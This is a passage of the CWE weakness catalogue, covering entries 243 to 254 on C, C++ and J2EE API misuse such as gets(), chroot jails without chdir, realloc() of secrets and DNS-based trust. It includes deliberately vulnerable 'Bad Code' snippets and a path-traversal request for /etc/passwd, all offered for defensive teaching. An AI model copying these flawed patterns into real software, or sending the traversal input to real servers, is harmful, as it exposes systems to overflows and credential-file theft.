Description

Summary

The program calls a function that can never be guaranteed to work safely.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Likelihood of Exploit

High

Demonstrative Examples

The excerpt below calls the gets() function in C, which is inherently unsafe.

C Example: *Bad Code*

```
char buf[BUFSIZE];
gets(buf);
```

Potential Mitigations

Ban the use of dangerous function. Use their safe equivalent.

Use grep or static analysis tools to spot usage of dangerous functions.

Other Notes

Certain functions behave in dangerous ways regardless of how they are used. Functions in this category were often implemented without taking security concerns into account. The gets() function is unsafe because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to gets() and overflow the destination buffer. The > operator is unsafe to use when reading into a character buffer because it does not perform bounds checking on the size of its input. An attacker can easily send arbitrarily-sized input to the > operator and overflow the destination buffer.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		227	Failure to Fulfill API Contract ('API Abuse')	**699** **700**	254
ChildOf		710	Coding Standards Violation	**1000**	711
ChildOf		748	CERT C Secure Coding Section 50 - POSIX (POS)	**734**	731
RequiredBy		*120*	*Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')*	*1000*	*148*

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Dangerous Functions
CERT C Secure Coding	POS33-C	Do not use vfork()

CWE-243: Failure to Change Working Directory in chroot Jail

Weakness ID: 243 *(Weakness Variant)* **Status:** Draft

Description

Summary

The program uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.

Extended Description

Improper use of chroot() may allow attackers to escape from the chroot jail. The chroot() function call does not change the process's current working directory, so relative paths may still refer to file system resources outside of the chroot jail after chroot() has been called.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Operating Systems

- UNIX

Likelihood of Exploit

High

Demonstrative Examples

Consider the following source code from a (hypothetical) FTP server:

Bad Code

```
chroot("/var/ftproot");
...
fgets(filename, sizeof(filename), network);
localfile = fopen(filename, "r");
while ((len = fread(buf, 1, sizeof(buf), localfile)) != EOF) {
  fwrite(buf, 1, sizeof(buf), network);
}
fclose(localfile);
```

This code is responsible for reading a filename from the network, opening the corresponding file on the local machine, and sending the contents over the network. This code could be used to implement the FTP GET command. The FTP server calls chroot() in its initialization routines in an attempt to prevent access to files outside of /var/ftproot. But because the server fails to change the current working directory by calling chdir("/"), an attacker could request the file "../../../../../etc/passwd" and obtain a copy of the system password file.

Background Details

The chroot() system call allows a process to change its perception of the root directory of the file system. After properly invoking chroot(), a process cannot access any files outside the directory tree defined by the new root directory. Such an environment is called a chroot jail and is commonly used to prevent the possibility that a processes could be subverted and used to access unauthorized files. For instance, many FTP servers run in chroot jails to prevent an attacker who discovers a new vulnerability in the server from being able to download the password file or other sensitive files on the system.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	227	Failure to Fulfill API Contract ('API Abuse')	**699** **700**	254
ChildOf	WC	573	Failure to Follow Specification	1000	570
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ChildOf	WC	669	Incorrect Resource Transfer Between Spheres	**1000**	659

Affected Resources

- File/Directory

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Directory Restriction

CWE-244: Failure to Clear Heap Memory Before Release (aka 'Heap Inspection')

Weakness ID: 244 *(Weakness Variant)* **Status:** Draft

Description

Summary

Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Demonstrative Examples

The following code calls realloc() on a buffer containing sensitive data:

Bad Code

```
cleartext_buffer = get_secret();...
cleartext_buffer = realloc(cleartext_buffer, 1024);
...
scrub_memory(cleartext_buffer, 1024);
```

There is an attempt to scrub the sensitive data from memory, but realloc() is used, so a copy of the data can still be exposed in the memory originally allocated for cleartext_buffer.

Other Notes

Heap inspection vulnerabilities occur when sensitive data, such as a password or an encryption key, can be exposed to an attacker because they are not removed from memory. The realloc() function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.

Be careful using {vfork, fork} in security sensitive code. The process state will not be cleaned up and will contain traces of data from past use.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Base	226	Sensitive Information Uncleared Before Release	**1000**	252
ChildOf	Weakness Class	227	Failure to Fulfill API Contract ('API Abuse')	**699** **700**	254
ChildOf	Category	633	Weaknesses that Affect Memory	**631**	615
CanPrecede	Weakness Class	669	Incorrect Resource Transfer Between Spheres	1000	659
ChildOf	Category	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	**734**	727
MemberOf	View	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*

Affected Resources

- Memory

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Heap Inspection
CERT C Secure Coding	MEM03-C	Clear sensitive information stored in reusable resources returned for reuse

White Box Definitions

A weakness where code path has:

1. start statement that stores information in a buffer

2. end statement that resize the buffer and
3. path does not contain statement that performs cleaning of the buffer

CWE-245: J2EE Bad Practices: Direct Management of Connections

Weakness ID: 245 *(Weakness Variant)* **Status:** Draft

Description

Summary

The J2EE application directly manages connections, instead of using the container's connection management facilities.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Other Notes

The J2EE standard forbids the direct management of connections. It requires that applications use the container's resource management facilities to obtain connections to resources. For example, a J2EE application should obtain a database connection as follows: ctx = new InitialContext(); datasource = (DataSource)ctx.lookup(DB_DATASRC_REF); conn = datasource.getConnection(); and should avoid obtaining a connection in this way: conn = DriverManager.getConnection(CONNECT_STRING); Every major web application container provides pooled database connection management as part of its resource management framework. Duplicating this functionality in an application is difficult and error prone, which is part of the reason it is forbidden under the J2EE standard.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	227	Failure to Fulfill API Contract ('API Abuse')	**699** **700**	254
ChildOf	We	695	Use of Low-Level Functionality	**1000**	686

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	J2EE Bad Practices: getConnection()

CWE-246: J2EE Bad Practices: Direct Use of Sockets

Weakness ID: 246 *(Weakness Variant)* **Status:** Draft

Description

Summary

The J2EE application directly uses sockets instead of using framework method calls.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

In the following example, a Socket object is created directly from within the body of a doGet() method in a Java servlet.

Java Example: *Bad Code*

```
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  // Perform servlet tasks.
  ...
  // Open a socket to a remote server (bad).
  Socket sock = null;
  try {
    sock = new Socket(remoteHostname, 3000);
    // Do something with the socket.
    ...
  } catch (Exception e) {
    ...
  }
}
```

Potential Mitigations

Use framework method calls instead of using sockets directly.

Other Notes

The J2EE standard permits the use of sockets only for the purpose of communication with legacy systems when no higher-level protocol is available. Authoring your own communication protocol requires wrestling with difficult security issues, including: - In-band versus out-of-band signaling - Compatibility between protocol versions - Channel security - Error handling - Network constraints (firewalls) - Session management Without significant scrutiny by a security expert, chances are good that a custom communication protocol will suffer from security problems. Many of the same issues apply to a custom implementation of a standard protocol. While there are usually more resources available that address security concerns related to implementing a standard protocol, these resources are also available to attackers.

Weakness Ordinalities

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	227	Failure to Fulfill API Contract ('API Abuse')	**699** **700**	254
ChildOf	We	695	Use of Low-Level Functionality	**1000**	686

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	J2EE Bad Practices: Sockets

CWE-247: Reliance on DNS Lookups in a Security Decision

Weakness ID: 247 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Attackers can spoof DNS entries. Do not rely on DNS names for security.

Time of Introduction

- Implementation
- Architecture and Design

Applicable Platforms

Languages

- All

Demonstrative Examples

The following code sample uses a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
  trusted = true;
}
```

```
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
  trusted = true;
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Other Notes

Many DNS servers are susceptible to spoofing attacks, so you should assume that your software will someday run in an environment with a compromised DNS server. If attackers are allowed to make DNS updates (sometimes called DNS cache poisoning), they can route your network traffic through their machines or make it appear as if their IP addresses are part of your domain. Do not base the security of your system on DNS names.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	227	Failure to Fulfill API Contract ('API Abuse')	**699**	254
PeerOf	WE	290	Authentication Bypass by Spoofing	1000	316
ChildOf	WE	345	Insufficient Verification of Data Authenticity	**1000**	367

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Often Misused: Authentication

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
89	Pharming	

CWE-248: Uncaught Exception

Weakness ID: 248 *(Weakness Base)* **Status:** Draft

Description

Summary

Failing to catch an exception thrown from a dangerous function can potentially cause the program to crash.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C++
- Java
- .NET

Demonstrative Examples

Example 1:

The _alloca() function allocates memory on the stack. If an allocation request is too large for the available stack space, _alloca() throws an exception. If the exception is not caught, the program will crash, potentially enabling a denial of service attack. _alloca() has been deprecated as of Microsoft Visual Studio 2005(R). It has been replaced with the more secure _alloca_s().

Example 2:

EnterCriticalSection() can raise an exception, potentially causing the program to crash. Under operating systems prior to Windows 2000, the EnterCriticalSection() function can raise an exception in low memory situations. If the exception is not caught, the program will crash, potentially enabling a denial of service attack.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	227	Failure to Fulfill API Contract ('API Abuse')	**699** **700**	254
ChildOf	Category	389	Error Conditions, Return Values, Status Codes	699	414
ChildOf	Weakness	691	Insufficient Control Flow Management	**1000**	682
ChildOf	Weakness	703	Failure to Handle Exceptional Conditions	1000	706
ChildOf	Category	730	OWASP Top Ten 2004 Category A9 - Denial of Service	**711**	720

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Often Misused: Exception Handling

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
54	Probing an Application Through Targeting its Error Reporting	

CWE-249: Often Misused: Path Manipulation

Weakness ID: 249 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Demonstrative Examples

Example 1:

The C standard library function realpath() takes two arguments. The first argument specifies a filename to be converted to canonical form. The second argument specifies an output buffer. Regardless of the length of the canonicalized file name, realpath() will not write more than PATH_MAX bytes to the output buffer. Some programmers incorrectly assume that, by allocating a buffer of size PATH_MAX, there will always be enough room in the buffer to hold any file name that might be found on the system. However, PATH_MAX only bounds the longest possible relative path that can be passed to the kernel in a single call. On most Unix and Linux systems, there is no easily-determined maximum length for a path.

Example 2:

Bad Code

```
char *createOutputDirectory(char *name) {
  char outputDirectoryName[128];
  if (getCurrentDirectory(128, outputDirectoryName) == 0) {
    return null;
```

```
  }
  if (!PathAppend(outputDirectoryName, "output")) {
    return null;
  }
  if (!PathAppend(outputDirectoryName, name)) {
    return null;
  }
  if (SHCreateDirectoryEx(NULL, outputDirectoryName, NULL) != ERROR_SUCCESS) {
    return null;
  }
  return StrDup(outputDirectoryName);
}
```

In this example the function creates a directory named "output\<name>" in the current directory and returns a heap-allocated copy of its name. For most values of the current directory and the name parameter, this function will work properly. However, if the name parameter is particularly long, then the second call to PathAppend() could overflow the outputDirectoryName buffer, which is smaller than MAX_PATH bytes.

Potential Mitigations

Always specify output buffers large enough to handle the maximum-size possible result from path manipulation functions.

Other Notes

Windows provides a large number of utility functions that manipulate buffers containing filenames. In most cases, the result is returned in a buffer that is passed in as input. (Usually the filename is modified in place.) Most functions require the buffer to be at least MAX_PATH bytes in length, but you should check the documentation for each function individually. If the buffer is not large enough to store the result of the manipulation, a buffer overflow can occur.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	20	Improper Input Validation	**699** **700**	14
ChildOf		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	699 **1000**	148
ChildOf		632	Weaknesses that Affect Files or Directories	**631**	615
ChildOf		633	Weaknesses that Affect Memory	631	615

Affected Resources

- Memory
- File/Directory

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Often Misused: File System

White Box Definitions

A weakness where code path has:

1. end statement that passes buffer to path function
2. start statement that computes the size of the buffer in such a way that the size of buffer is smaller than expected by the path function

CWE-250: Execution with Unnecessary Privileges

Weakness ID: 250 *(Weakness Class)* **Status:** Draft

Description

Summary

The software performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.

Extended Description

New weaknesses can be exposed because running with extra privileges, such as root or Administrator, can disable the normal security checks being performed by the operating system

or surrounding environment. Other pre-existing weaknesses can turn into security vulnerabilities if they occur while operating at raised privileges.

Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another. Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges.

Time of Introduction

- Installation
- Architecture and Design
- Operation

Applicable Platforms

Languages

- All

Modes of Introduction

If an application has this design problem, then it can be easier for the developer to make implementation-related errors such as CWE-271 (Privilege Dropping / Lowering Errors). In addition, the consequences of Privilege Chaining (CWE-268) can become more severe.

Common Consequences

Confidentiality
Integrity
Availability

An attacker will be able to gain access to any resources that are allowed by the extra privileges. Common results include executing code, disabling services, and reading restricted data.

Likelihood of Exploit

Medium

Observed Examples

Reference	Description
CVE-2007-3931	Installation script installs some programs as setuid when they shouldn't be.
CVE-2007-4217	FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients.
CVE-2007-5159	OS incorrectly installs a program with setuid privileges, allowing users to gain privileges.
CVE-2008-0162	Program does not drop privileges before calling another program, allowing code execution.
CVE-2008-0368	setuid root program allows creation of arbitrary files through command line argument.
CVE-2008-1877	Program runs with privileges and calls another program with the same privileges, which allows read of arbitrary files.
CVE-2008-4638	Composite: application running with high privileges allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file.

Potential Mitigations

Architecture and Design

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code. Raise your privileges as late as possible, and drop them as soon as possible. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with your privileged code, such as a secondary socket that you only intend to be accessed by administrators.

Implementation

Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.

Implementation

Ensure that you drop privileges as soon as possible (CWE-271), and make sure that you check to ensure that privileges have been dropped successfully (CWE-273).

Implementation

If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Testing

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Look for library functions and system calls that indicate when privileges are being raised or dropped. Look for accesses of resources that are restricted to normal users.

Note that this technique is only useful for privilege issues related to system resources. It is not likely to detect application-level business rules that are related to privileges, such as if a blog system allows a user to delete a blog entry without first checking that the user has administrator privileges.

Testing

System Configuration

Ensure that your software runs properly under the Federal Desktop Core Configuration (FDCC) or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Class	227	Failure to Fulfill API Contract ('API Abuse')	**699** **700**	254
ChildOf	Category	264	Permissions, Privileges, and Access Controls	699	290
PeerOf	Category	265	Privilege / Sandbox Issues	1000	291
ChildOf	Weakness Base	269	Improper Privilege Management	1000	295
PeerOf	Weakness Class	271	Privilege Dropping / Lowering Errors	1000	296
ChildOf	Weakness Class	657	Violation of Secure Design Principles	699 **1000**	645
ChildOf	Category	753	Porous Defenses	**750**	733

Relationship Notes

There is a close association with CWE-653 (Insufficient Separation of Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Often Misused: Privilege Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
69	Target Programs with Elevated Privileges	

References

Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. September, 1975. < http://web.mit.edu/Saltzer/www/publications/protection/ >.

Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html >.

Maintenance Notes

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category. Both CWE-272 and CWE-250 are in active use by the community. The "least privilege" phrase has multiple interpretations.

CWE-251: Often Misused: String Management

Category ID: 251 *(Category)* **Status:** Incomplete

Description

Summary

Functions that manipulate strings encourage buffer overflows.

Applicable Platforms

Languages

- C
- C++

Demonstrative Examples

Windows provides the _mbs family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: _mbsinc _mbsdec _mbsncat _mbsncpy _mbsnextc _mbsnset _mbsrev _mbsset _mbsstr _mbstok _mbccpy _mbslen

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	133	String Errors	699	164
ChildOf	Wc	227	Failure to Fulfill API Contract ('API Abuse')	**699** **700**	254
ChildOf	C	633	Weaknesses that Affect Memory	**631**	615
MemberOf	V	*630*	*Weaknesses Examined by SAMATE*	***630***	*614*

Affected Resources

- Memory

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Often Misused: Strings

White Box Definitions

Definition: A weakness where code path has:

1. end statement that passes the string item to a string function
2. start statement that malformed the string item

Where "malformed" is defined through the following scenarios:

1. changed to unexpected value
2. incorrect syntactical structure

CWE-252: Unchecked Return Value

Weakness ID: 252 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.

Extended Description

Two common programmer assumptions are "this function call can never fail" and "it doesn't matter if this function call fails". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Integrity

The data which were produced as a result of a function could be in a bad state.

Likelihood of Exploit

Low

Demonstrative Examples

Example 1:

Consider the following code:

Bad Code

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

Example 2:

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().

Bad Code

```
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations: - Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue. - It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state. - The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

Example 3:

The following code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return

value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and handle it as though it belongs to the attacker.

Bad Code

```
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {
  string userName = (string) i.Current();
  string pFileName = PFILE_ROOT + "/" + userName;
  StreamReader sr = new StreamReader(pFileName);
  sr.Read(byteArray,0,1024);//the file is always 1k bytes
  sr.Close();
  processPFile(userName, byteArray);
}
```

Bad Code

```
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
  String userName = (String) i.next();
  String pFileName = PFILE_ROOT + "/" + userName;
  FileInputStream fis = new FileInputStream(pFileName);
  fis.read(byteArray); // the file is always 1k bytes
  fis.close();
  processPFile(userName, byteArray);
```

Example 4:

The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

Bad Code

```
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM)) {
  ...
}
...
```

The following code does not check to see if the string returned by theItem property is null before calling the member function Equals(), potentially causing a NULL dereference. string itemName = request.Item(ITEM_NAME);

Bad Code

```
if (itemName.Equals(IMPORTANT_ITEM)) {
  ...
}
...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 5:

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

Bad Code

```
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value."

But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 6:

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

Bad Code

```
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))
```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

Example 7:

It is not uncommon for Java programmers to misunderstand read() and related methods that are part of many java.io classes. Most errors and unusual events in Java result in an exception being thrown. But the stream and reader classes do not consider it unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested. This behavior makes it important for programmers to examine the return value from read() and other IO methods to ensure that they receive the amount of data they expect.

Observed Examples

Reference	Description
CVE-2006-2916	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
CVE-2006-4447	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
CVE-2007-3798	Unchecked return value leads to resultant integer overflow and code execution.

Potential Mitigations

Implementation

Check the results of all functions that return a value.

Implementation

Ensure that you account for all possible return values from the function.

Implementation

When designing a function, make sure you return a value or throw an exception in case of an error.

Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

Relationships

Nature	Type	ID	Name	V		Page
ChildOf	W	227	Failure to Fulfill API Contract ('API Abuse')	**699** **700**		254
ChildOf	C	389	Error Conditions, Return Values, Status Codes	699		414
CanPrecede	W	476	NULL Pointer Dereference	1000	690	497
ChildOf	C	728	OWASP Top Ten 2004 Category A7 - Improper Error Handling	**711**		719
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	**734**		727
ChildOf	W	754	Improper Check for Exceptional Conditions	**1000**		734

Nature	Type	ID	Name	V		Page
PeerOf	*Weakness Base*	*273*	*Improper Check for Dropped Privileges*	*1000*		*300*
StartsChain	*Chain*	*690*	*Unchecked Return Value to NULL Pointer Dereference*	***709***	*690*	*681*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Unchecked Return Value
CLASP			Ignored function return value
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling
CERT C Secure Coding	MEM32-C		Detect and handle memory allocation errors

CWE-253: Incorrect Check of Function Return Value

Weakness ID: 253 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software incorrectly checks a return value from a function, which prevents the software from detecting errors or exceptional conditions.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Integrity

The data -- which were produced as a result of an improperly checked return value of a function -- could be in a bad state.

Likelihood of Exploit

Low

Demonstrative Examples

C/C++ Example: *Bad Code*

```
tmp = malloc(sizeof(int) * 4);
if (tmp < 0 ) {
  perror("Failure");
  //should have checked if the call returned 0
}
```

Potential Mitigations

Requirements specification: Use a language or compiler that uses exceptions and requires the catching of those exceptions.

Implementation

Properly check all functions which return a value.

Implementation

When designing any function make sure you return a value or throw an exception in case of an error.

Other Notes

Important and common functions will return some value about the success of its actions. This will alert the program whether or not to handle any errors caused by that function.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Class	227	Failure to Fulfill API Contract ('API Abuse')	**699**	254
ChildOf	Category	389	Error Conditions, Return Values, Status Codes	699	414
ChildOf	Weakness Class	573	Failure to Follow Specification	**1000**	570
ChildOf	Weakness Class	754	Improper Check for Exceptional Conditions	1000	734

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Misinterpreted function return value

CWE-254: Security Features

Category ID: 254 *(Category)* **Status:** Incomplete

Description

Summary

Software security is not security software. Here we're concerned with topics like authentication, access control, confidentiality, cryptography, and privilege management.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	18	Source Code	**699**	13
ParentOf	C	*255*	*Credentials Management*	***699***	*279*
ParentOf	WW	*256*	*Plaintext Storage of a Password*	***700***	*280*
ParentOf	WW	*258*	*Empty Password in Configuration File*	***700***	*282*
ParentOf	We	*259*	*Hard-Coded Password*	***700***	*283*
ParentOf	WW	*260*	*Password in Configuration File*	*699* ***700***	*286*
ParentOf	WW	*261*	*Weak Cryptography for Passwords*	***700***	*287*
ParentOf	C	*264*	*Permissions, Privileges, and Access Controls*	***699***	*290*
ParentOf	We	*272*	*Least Privilege Violation*	***700***	*298*
ParentOf	We	*285*	*Improper Access Control (Authorization)*	***700***	*310*
ParentOf	Wc	*287*	*Improper Authentication*	***699***	*312*
ParentOf	C	*295*	*Certificate Issues*	***699***	*322*
ParentOf	C	*310*	*Cryptographic Issues*	***699***	*335*
ParentOf	Wc	*330*	*Use of Insufficiently Random Values*	***699*** ***700***	*355*
ParentOf	Wc	*345*	*Insufficient Verification of Data Authenticity*	***699***	*367*
ParentOf	C	*355*	*User Interface Security Issues*	***699***	*377*
ParentOf	We	*358*	*Improperly Implemented Security Check for Standard*	***699***	*379*
ParentOf	Wc	*359*	*Privacy Violation*	***699*** ***700***	*380*
ParentOf	We	*565*	*Use of Cookies in Security Decision*	***699***	*564*
ParentOf	We	*602*	*Client-Side Enforcement of Server-Side Security*	***699***	*590*
ParentOf	We	*653*	*Insufficient Compartmentalization*	*699*	*639*
